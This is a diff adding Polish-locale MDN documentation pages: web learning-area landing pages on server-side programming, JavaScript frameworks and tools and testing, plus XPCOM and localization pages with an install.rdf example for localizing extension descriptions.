+<p>This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks. </p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a></dt>
+ <dd>This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt>
+ <dd>Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt>
+ <dd>Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Node_server_without_framework">Node server without framework</a></dt>
+ <dd>This article provides a simple static file server built with pure Node.js, for those of you not wanting to use a framework.</dd>
+</dl>
diff --git a/files/pl/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/pl/learn/tools_and_testing/client-side_javascript_frameworks/index.html
new file mode 100644
index 0000000000..fa16dab55c
--- /dev/null
+++ b/files/pl/learn/tools_and_testing/client-side_javascript_frameworks/index.html
@@ -0,0 +1,147 @@
+---
+title: Understanding client-side JavaScript frameworks
+slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks
+tags:
+ - Beginner
+ - Frameworks
+ - JavaScript
+ - Learn
+ - NeedsTranslation
+ - TopicStub
+ - client-side
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">JavaScript frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications. Many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience.</p>
+
+<p class="summary">As an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.</p>
+
+<p class="summary">In this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. We are not aiming to exhaustively teach you everything you need to know about React/ReactDOM, or Vue, or some other specific framework; the framework teams' own docs do that job already. Instead, we want to back up and first answer more fundamental questions such as:</p>
+
+<ul>
+ <li class="summary">Why should I use a framework? What problems do they solve for me?</li>
+ <li class="summary">What questions should I ask when trying to choose a framework? Do I even need to use a framework?</li>
+ <li class="summary">What features do frameworks have? How do they work in general, and how do frameworks' implementations of these features differ?</li>
+ <li class="summary">How do they relate to "vanilla" JavaScript or HTML?</li>
+</ul>
+
+<p class="summary">After that, we'll provide some tutorials covering the essentials of some of the major frameworks, to provide you with enough context and familiarity to start going into greater depth yourself. We want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility.</p>
+
+<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Get started now, with "Introduction to client-side frameworks"</a></strong></p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>You should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and especially <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>.</p>
+
+<p>Your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundamental web platform features that the frameworks are building on top of.</p>
+
+
+<div class="in-page-callout webdev">
+<h3 id="Looking_to_become_a_front-end_web_developer">Looking to become a front-end web developer?</h3>
+
+<p>We have put together a course that includes all the essential information you need to work towards your goal.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Get started</a></p>
+</div>
+
+<h2 id="Introductory_guides">Introductory guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. Introduction to client-side frameworks</a></dt>
+ <dd>We begin our look at frameworks with a general overview of the area, looking at a brief history of JavaScript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. Framework main features</a></dt>
+ <dd>Each major JavaScript framework has a different approach to updating the DOM, handling browser events, and providing an enjoyable developer experience. This article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level and the differences between them.</dd>
+</dl>
+
+<h2 id="React_tutorials">React tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: React tutorials last tested in May 2020, with React/ReactDOM 16.13.1 and create-react-app 3.4.1.</p>
+
+<p>If you need to check your code against our version, you can find a finished version of the sample React app code in our <a href="https://github.com/mdn/todo-react">todo-react repository</a>. For a running live version, see <a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">1. Getting started with React</a></dt>
+ <dd>In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app, learning a bit about how React works in the process.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. Beginning our React todo list</a></dt>
+ <dd>Let's say that we’ve been tasked with creating a proof-of-concept in React – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. This article will walk you through putting the basic <code>App</code> component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. Componentizing our React app</a></dt>
+ <dd>At this point, our app is a monolith. Before we can make it do things, we need to break it apart into manageable, descriptive components. React doesn’t have any hard rules for what is and isn’t a component – that’s up to you! In this article, we will show you a sensible way to break our app up into components.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. React interactivity: Events and state</a></dt>
+ <dd>With our component plan worked out, it's now time to start updating our app from a completely static UI to one that actually allows us to interact and change things. In this article we'll do this, digging into events and state along the way.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. React interactivity: Editing, filtering, conditional rendering</a></dt>
+ <dd>As we near the end of our React journey (for now at least), we'll add the finishing touches to the main areas of functionality in our Todo list app. This includes allowing you to edit existing tasks and filtering the list of tasks between all, completed, and incomplete tasks. We'll look at conditional UI rendering along the way.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. Accessibility in React</a></dt>
+ <dd>In our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in React, which can improve usability and reduce confusion for both keyboard-only and screen reader users.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. React resources</a></dt>
+ <dd>Our final article provides you with a list of React resources that you can use to go further in your learning.</dd>
+</dl>
+
+<h2 id="Ember_tutorials">Ember tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Ember tutorials last tested in May 2020, with Ember/Ember CLI version 3.18.0.</p>
+
+<p>If you need to check your code against our version, you can find a finished version of the sample Ember app code in the <a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">ember-todomvc-tutorial repository</a>. For a running live version, see <a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> (this also includes a few additional features not covered in the tutorial).</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. Getting started with Ember</a></dt>
+ <dd>In our first Ember article we will look at how Ember works and what it's useful for, install the Ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Ember app structure and componentization</a></dt>
+ <dd>In this article we'll get right on with planning out the structure of our TodoMVC Ember app, adding in the HTML for it, and then breaking that HTML structure into components.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Ember interactivity: Events, classes and state</a></dt>
+ <dd>At this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. Along the way, we'll look at using events in Ember, creating component classes to contain JavaScript code to control interactive features, and setting up a service to keep track of the data state of our app.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Ember Interactivity: Footer functionality, conditional rendering</a></dt>
+ <dd>Now it's time to start tackling the footer functionality in our app. Here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). We'll also wire up our "Clear completed" button. Along the way, we'll learn about using conditional rendering in our templates.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Routing in Ember</a></dt>
+ <dd>In this article we learn about routing or URL-based filtering as it is sometimes referred to. We'll use it to provide a unique URL for each of the three todo views — "All", "Active", and "Completed".</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Ember resources and troubleshooting</a></dt>
+ <dd>Our final Ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.</dd>
+</dl>
+
+<h2 id="Vue_tutorials">Vue tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Vue tutorials last tested in May 2020, with Vue 2.6.11.</p>
+
+<p>If you need to check your code against our version, you can find a finished version of the sample Vue app code in our <a href="https://github.com/mdn/todo-vue">todo-vue repository</a>. For a running live version, see <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>.</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. Getting started with Vue</a></dt>
+ <dd>Now let's introduce Vue, the third of our frameworks. In this article, we'll look at a little bit of Vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. Creating our first Vue component</a></dt>
+ <dd>Now it's time to dive deeper into Vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list. Along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props and saving data state.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. Rendering a list of Vue components</a></dt>
+ <dd><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">At this point we've got a fully working component; we're now ready to add multiple <code>ToDoItem</code> components to our App. In this article we'll look at adding a set of todo item data to our <code>App.vue</code> component, which we'll then loop through and display inside <code>ToDoItem</code> components using the <code>v-for</code> directive. </span></dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. Adding a new todo form: Vue events, methods, and models</a></dt>
+ <dd>We now have sample data in place and a loop that takes each bit of data and renders it inside a <code>ToDoItem</code> in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that, we'll need a text <code>&lt;input&gt;</code>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. Styling Vue components with CSS</a></dt>
+ <dd>The time has finally come to make our app look a bit nicer. In this article, we'll explore the different ways of styling Vue components with CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. Using Vue computed properties</a></dt>
+ <dd>In this article we'll add a counter that displays the number of completed todo items, using a feature of Vue called computed properties. These work similarly to methods but only re-run when one of their dependencies changes.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Vue conditional rendering: editing existing todos</a></dt>
+ <dd>Now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. To do this, we will take advantage of Vue's conditional rendering capabilities — namely <code>v-if</code> and <code>v-else</code> — to allow us to toggle between the existing todo item view and an edit view where you can update todo item labels. We'll also look at adding functionality to delete todo items.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. Focus management with Vue refs</a></dt>
+ <dd>We are nearly done with Vue. The last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. We'll look at using Vue refs to handle this — an advanced feature that allows you to have direct access to the underlying DOM nodes below the virtual DOM, or direct access from one component to the internal DOM structure of a child component.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Vue resources</a></dt>
+ <dd>Now we'll round off our study of Vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.</dd>
+</dl>
+
+<h2 id="Which_frameworks_did_we_choose">Which frameworks did we choose?</h2>
+
+<p>We are publishing our initial set of articles with guides focusing on three of the major frameworks out there — React/ReactDOM, Ember, and Vue. There is a variety of reasons for this:</p>
+
+<ul>
+ <li>They are popular choices that will be around for a while — like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job.</li>
+ <li>They have strong communities and good documentation. It is very important to be able to get help with learning a complex subject, especially when you are just starting out.</li>
+ <li>We don't have the resources to cover <em>all</em> modern frameworks. That list would be very difficult to keep up-to-date anyway, as new ones appear all the time.</li>
+ <li>As a beginner, trying to choose what to focus on out of the huge number of choices available is a very real problem. Keeping the list short is therefore helpful.</li>
+</ul>
+
+<p>We want to say this upfront — we've <strong>not</strong> chosen the frameworks we are focusing on because we think they are the best, or because we endorse them in any way. We just think they score highly on the above criteria.</p>
+
+<p>Note that we were hoping to have more frameworks included upon initial publication, but we decided to release the content and then add more framework guides later, rather than delay it longer. If your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us! Get in touch with us via <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, or <a href="https://discourse.mozilla.org/c/mdn">Discourse</a>, or drop us a mail on the <a href="mailto:mdn-admins@mozilla.org">mdn-admins list</a>.</p>
diff --git a/files/pl/learn/tools_and_testing/index.html b/files/pl/learn/tools_and_testing/index.html
new file mode 100644
index 0000000000..9430b94ada
--- /dev/null
+++ b/files/pl/learn/tools_and_testing/index.html
@@ -0,0 +1,48 @@
+---
+title: Tools and testing
+slug: Learn/Tools_and_testing
+tags:
+ - Accessibility
+ - Automation
+ - Beginner
+ - CSS
+ - CodingScripting
+ - HTML
+ - JavaScript
+ - Landing
+ - Learn
+ - NeedsTranslation
+ - Testing
+ - Tools
+ - Topic
+ - TopicStub
+ - cross browser
+ - user testing
+translation_of: Learn/Tools_and_testing
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Once you've started to become comfortable programming with core web technologies (like HTML, CSS, and JavaScript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from ready-rolled CSS and JavaScript, to testing and automation apps, and more besides. As your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, and working out reliable testing plans for your code. This part of the learning area aims to give you what you need get started and make informed choices.</p>
+
+<p>The web industry is an exciting place to work, but it is not without its complications. The core technologies we use to build web sites are fairly stable now, but new features are being added all the time, and new tools — that facilitate working with, and are built on top of these technologies — are constantly appearing. On top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browser the Web, and be usable by people with disabilities.</p>
+
+<p>Working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Because new tools appear and old ones go out of fashion all the time, we have deliberately written this material to be as neutral as possible — we want to focus first and foremost on the general types of tasks these tools will help you accomplish, and keep prescribing specific tools to a minimum. We obviously need to show tool usage to demonstrate specific techniques, but be clear that we do not necessarily recommend these tools as the best or only way to do things — in most cases there are other ways, but we want to provide you with a clear methodology that works.</p>
+</div>
+
+<h2 id="Learning_pathway">Learning pathway</h2>
+
+<p>You should really learn the basics of the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages first before attempting to use the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, or making effective use of JavaScript libraries, or writing tests and running them against your code using test runners, etc.</p>
+
+<p>You need a solid foundation first.</p>
+
+<h2 id="Modules">Modules</h2>
+
+<dl>
+ <dt>Real world web development tools (TBD)</dt>
+ <dd>In this module, we explore the different kinds of web development tools available. This includes reviewing the most common kinds of tasks you may be called on to solve, how they can fit together in a workflow, and the best tools currently avaiable for carrying out those tasks.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Cross browser testing</a></dt>
+ <dd>This module looks specifically at the area of testing web projects across different browsers. Here we look identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.</dd>
+</dl>
diff --git a/files/pl/lista_komponentów_xpcom/index.html b/files/pl/lista_komponentów_xpcom/index.html
new file mode 100644
index 0000000000..db4ee1e416
--- /dev/null
+++ b/files/pl/lista_komponentów_xpcom/index.html
@@ -0,0 +1,19 @@
+---
+title: Lista komponentów XPCOM
+slug: Lista_komponentów_XPCOM
+tags:
+ - Dokumentacja_API_XPCOM
+ - Komponenty
+ - Wszystkie_kategorie
+ - XPCOM
+---
+<p>Będą tu komponenty - podobne do listy <a href="pl/Interfejsy">interfejsów</a>.
+</p>
+<h3 id="Komponenty.2C_lista_alfabetyczna_.28niekompletna.29"> Komponenty, lista alfabetyczna (niekompletna) </h3>
+<ul><li> <a href="pl/NsDirectoryService">nsDirectoryService</a>
+</li><li> <a href="pl/NsObserverService">nsObserverService</a>
+</li><li> <a href="pl/NsScriptableInputStream">nsScriptableInputStream</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPCOM_components_list", "fr": "fr/Liste_des_composants_XPCOM", "ja": "ja/XPCOM_components_list", "ko": "ko/XPCOM_components_list" } ) }}
diff --git a/files/pl/lokalizacja/index.html b/files/pl/lokalizacja/index.html
new file mode 100644
index 0000000000..52d4237dc7
--- /dev/null
+++ b/files/pl/lokalizacja/index.html
@@ -0,0 +1,66 @@
+---
+title: Lokalizacja
+slug: Lokalizacja
+tags:
+ - Lokalizacja
+ - Wszystkie_kategorie
+translation_of: Glossary/Localization
+---
+<p> </p>
+<div>
+ <p><b>Lokalizacja</b> jest procesem tłumaczenia interfejsu aplikacji z jednego języka na drugi oraz jej przystosowywania do innej kultury. Poniższe zasoby odnoszą się głównie do tematyki tworzenia lokalizowanych aplikacji i rozszerzeń Mozilli.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Wybrane_artyku.C5.82y" name="Wybrane_artyku.C5.82y">Wybrane artykuły</h4>
+ <dl>
+ <dt>
+ <a href="pl/Kurs_XUL/Lokalizacja">Kurs XUL:Lokalizacja</a></dt>
+ <dd>
+ <small>Artykuł w <a href="pl/Kurs_XUL">kursie XUL</a> poświęcona lokalizacji XUL-owych aplikacji.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">Kurs XUL:Plik własności</a></dt>
+ <dd>
+ <small>Artykuł w <a href="pl/Kurs_XUL">kursie XUL</a> dotycząca plików Property.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Pisanie_kodu_lokalizuj%c4%85cego">Pisanie kodu lokalizującego</a></dt>
+ <dd>
+ <small>Best practices and guidelines for Programmers to play nicely with Localization.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Lokalizacja_opisu_rozszerzenia">Lokalizacja opisu rozszerzenia</a></dt>
+ <dd>
+ <small>By zlokalizować opis rozszerzenia (opis pokazujący się pod nazwą rozszerzenia w oknie Dodatki) musisz użyć specjalnego klucza własności by nadpisać opis zawarty w pliku install.rdf. Artykuł zawiera instrukcję jak zmodyfikować tenże klucz własności.</small></dd>
+ </dl>
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Inne_strony" name="Inne_strony">Inne strony</h4>
+ <ul>
+ <li><a>Artykuły</a></li>
+ <li><a>Narzędzia</a></li>
+ <li><a href="pl/Lokalizacja/Spo%c5%82eczno%c5%9b%c4%87">Społeczność</a></li>
+ </ul>
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+ <dl>
+ <dd>
+ <a href="pl/Rozszerzenia">Rozszerzenia</a>, <a href="pl/XUL">XUL</a><span class="alllinks"><a class="external" href="http://developer.mozilla.org/webwatch/?cat=8">Pokaż wszystkie...</a></span></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Localization", "es": "es/Localizaci\u00f3n", "fr": "fr/Localisation", "it": "it/Localization", "ja": "ja/Localization", "pt": "pt/Localiza\u00e7\u00e3o", "zh-tw": "zh_tw/\u672c\u5730\u5316" } ) }}</p>
diff --git a/files/pl/lokalizacja_opisu_rozszerzenia/index.html b/files/pl/lokalizacja_opisu_rozszerzenia/index.html
new file mode 100644
index 0000000000..637b3fab1e
--- /dev/null
+++ b/files/pl/lokalizacja_opisu_rozszerzenia/index.html
@@ -0,0 +1,91 @@
+---
+title: Lokalizacja opisu rozszerzenia
+slug: Lokalizacja_opisu_rozszerzenia
+tags:
+ - Dodatki
+ - Lokalizacja
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Mozilla/Localization/Localizing_extension_descriptions
+---
+<p>{{ Gecko_minversion_header(1.9) }} {{ Fx_minversion_header(3) }}</p>
+<h3 id="Lokalizowanie_w_Gecko_1.9" name="Lokalizowanie_w_Gecko_1.9">Lokalizowanie w Gecko 1.9</h3>
+<p>Gecko 1.9 wprowadza nowe, bardziej rozbudowane metody lokalizacji opisów dodatków oraz innych meta danych. Teraz wszystkie opisy występują w pliku <a href="pl/Manifesty_Instalacji">install.rdf</a> we własności <code>em:localized</code>. Każdy z nich ma co najmniej jedną własność <code>em:locale</code> określającą lokalizację, dla której należy ją użyć oraz strumienie dla danej lokalizacji. Poniższy przykład demonstruje opisaną budowę (dla większej przejrzystości większość własności manifestu zostało usuniętych):</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+ &lt;Description about="urn:mozilla:install-manifest"&gt;
+ &lt;em:id&gt;TabSidebar@blueprintit.co.uk&lt;/em:id&gt;
+ &lt;em:localized&gt;
+ &lt;Description&gt;
+ &lt;em:locale&gt;de&lt;/em:locale&gt;
+ &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+ &lt;em:description&gt;Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.&lt;/em:description&gt;
+ &lt;/Description&gt;
+ &lt;/em:localized&gt;
+ &lt;em:localized&gt;
+ &lt;Description&gt;
+ &lt;em:locale&gt;es&lt;/em:locale&gt;
+ &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+ &lt;em:description&gt;Muestra una vista previa de sus pestañas en su panel lateral.&lt;/em:description&gt;
+ &lt;/Description&gt;
+ &lt;/em:localized&gt;
+ &lt;em:localized&gt;
+ &lt;Description&gt;
+ &lt;em:locale&gt;nl&lt;/em:locale&gt;
+ &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+ &lt;em:description&gt;Laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.&lt;/em:description&gt;
+ &lt;/Description&gt;
+ &lt;/em:localized&gt;
+ &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+ &lt;em:description&gt;Displays previews of your tabs in your sidebar.&lt;/em:description&gt;
+ &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>W ten sposób można lokalizować wszystkie meta dane wymienione w dalszej części artykułu w sekcji <b>Lokalizowane łańcuchy znaków</b>. Informacje lokalizacyjne, dostarczane przez własność <code>em:localized</code>, można zastąpić zestawem własności lokalizacyjnych omówionych w sekcji <b>Lokalizowanie opisu przed Gecko 1.9</b>.</p>
+<p>Proces doboru kodu lokalizacji dla własności <code>em:localized</code> przebiega następująco:</p>
+<ol>
+ <li>Jeśli we własności <code>em:locale</code> istnieje kod odpowiadający żądanej lokalizacji, należy go użyć.</li>
+ <li>Jeśli występuje kod nie w pełni odpowiadający lokalizacji, należy użyć część najbardziej odpowiadającą. Części powinny być oddzielone myślnikiem (np. kod <b>pl</b> będzie pasował do <b>pl-PL</b> i odwrotnie).</li>
+ <li>Jeśli występuje więcej niż jedna lokalizacja z tą samą ilością pasujących części, należy użyć najbardziej ogólną (np. <b>en</b> dla kodu <b>en-GB</b> i <b>en-US</b>).</li>
+</ol>
+<p>W trakcie instalacji będzie wyszukiwana lokalizacja właściwa dla obecnie używanych ustawień językowych aplikacji. Jeśli nie zostanie znaleziona, będzie użyta lokalizacja domyślna - en-US.</p>
+<p>Jeśli kod jest określony i nie ma pasującej własności <code>em:localized </code> dla obecnie używanych ustawień językowych lub lokalizacji en-US, zostanie użyta, tak jak to było przed wprowadzeniem Gecko 1.9, lokalizacja określona w manifeście instalacyjnym.</p>
+<h3 id="Lokalizowanie_opisu_przed_Gecko_1.9" name="Lokalizowanie_opisu_przed_Gecko_1.9">Lokalizowanie opisu przed Gecko 1.9</h3>
+<p>W starszych wersjach Gecko, aby zlokalizować opis dodatku przeznaczonego dla aplikacji opartych na toolkicie (Firefox, Thunderbird, Sunbird), twórcy dodatków muszą zrobić to, stosując specjalną metodę definiowania tego opisu.</p>
+<p> </p>
+<ul>
+ <li>Jeśli w rozszerzeniu nie występuje, należy stworzyć <a href="pl/Lokalizacja_rozszerzenia#Lokalizacja_string.C3.B3w_w_kodzie_JavaScript">lokalizacyjny plik własności</a> dla każdej lokalizacji. Aby zapewnić prawidłowe wyświetlanie znaków w różnych językach, plik ten musi mieć kodowanie UTF-8 i być zapisany bez BOM (ang. Byte Order Mark - znacznik kolejności bajtów).</li>
+ <li>Do każdego lokalizacyjnego pliku własności dodać poniższy wiersz, gdzie <var>ID_ROZSZERZENIA</var>, to identyfikator rozszerzenia <code>&lt;em:id&gt;</code> określony w pliku <a href="pl/Install.rdf">install.rdf</a>, a <var>ZLOKALIZOWANY_OPIS</var>, to opis rozszerzenia, jaki chce mu się nadać w danym języku.
+ <pre>extensions.ID_ROZSZERZENIA.description=ZLOKALIZOWANY_OPIS</pre>
+ </li>
+ <li>Jeśli w rozszerzeniu nie występuje, należy stworzyć <a href="pl/Tworzymy_rozszerzenie#Pliki_domy.C5.9Blne">domyślny plik własności</a>.</li>
+ <li>Dodać do niego poniższy wiersz (gdzie <var>ID_ROZSZERZENIA</var> to identyfikator rozszerzenia <code>&lt;em:id&gt;</code> pochodzący z pliku <a href="pl/Manifesty_Instalacji">install.rdf</a>, a <var>ŚCIEŻKA_DO_PLIKU_LOKALIZACYJNEGO</var> jest ścieżką dostępu do pliku lokalizacyjnego utworzonego w pierwszym kroku):
+ <pre>pref("extensions.ID_ROZSZERZENIA.description", "ŚCIEŻKA_DO_PLIKU_LOKALIZACYJNEGO");</pre>
+ </li>
+</ul>
+<h4 id="Lokalizowane_.C5.82a.C5.84cuchy_znak.C3.B3w" name="Lokalizowane_.C5.82a.C5.84cuchy_znak.C3.B3w">Lokalizowane łańcuchy znaków</h4>
+<p>Stosując powyższą metodę można lokalizować następujące meta dane dodatku:</p>
+<ul>
+ <li>name (nazwa)</li>
+ <li>description (opis)</li>
+ <li>creator (autor)</li>
+ <li>homepageURL (nazwa - adres URL strony domowej)</li>
+</ul>
+<h4 id="Lokalizowane_listy" name="Lokalizowane_listy">Lokalizowane listy</h4>
+<p>W przypadku, gdy istnieje kilka takich samych wartości, indeks numeryczny przypisany do końcowej nazwy preferencji stanowi o kolejności ich wyświetlania:</p>
+<pre>extensions.ID_ROZSZERZENIA.contributor.1=PIERWSZA_ZLOKALIZOWANA_NAZWA
+extensions.ID_ROZSZERZENIA.contributor.2=DRUGA_ZLOKALIZOWANA_NAZWA
